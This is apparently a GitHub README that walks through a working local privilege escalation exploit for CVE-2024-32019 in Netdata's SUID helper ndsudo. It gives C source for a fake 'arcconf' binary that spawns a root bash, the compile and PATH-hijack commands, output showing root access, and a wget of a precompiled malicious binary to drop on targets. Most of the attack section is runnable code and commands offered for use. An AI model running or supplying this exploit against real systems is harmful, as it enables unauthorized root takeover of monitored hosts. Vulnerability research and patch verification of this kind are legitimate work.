juanbelin/cve-2024-32019-pocNetdata ndsudo local privilage escalation workflow and POC (CVE-2024-32019)
Netdata ndsudo local privilage escalation workflow and POC (CVE-2024-32019)
[!TIP] Please read
Netdata is a tool that provides apps and systems monitoring, it runs at port 19999, easy to find:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
This vulnerability (CVE-2024-32019) affects the next versions: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. We can make a petition in order to know the version en the Header Reponse:
The exploit occurs by leverage a PATH Hijacking of one of their plugins, ndsudo which is often located in /opt/netdata/usr/libexec/netdata/ and which has SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
We can see what we can do using --help
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
As we can see, since the script contains several commands to choose that will look for an executable, we can leverage this in order to make our own executable named as one of the executables within a path we can add to the PATH environment variable.
Netdata use C, in consequence, we have to make our script in C and compile it.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Then as previously discussed, we add the script's path to the $PATH
test@test:/tmp$ PATH=/tmp:$PATH
Finally we simply execute the command that is pointing to our malicious executable (arcconf-pd-info -> arcconf ) and it is going to give us a privilege shell
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
You can download the already compiled C malicious script that will give you a bash as root as mentioned in the example above:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp #If your target has Internet connectivity
scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change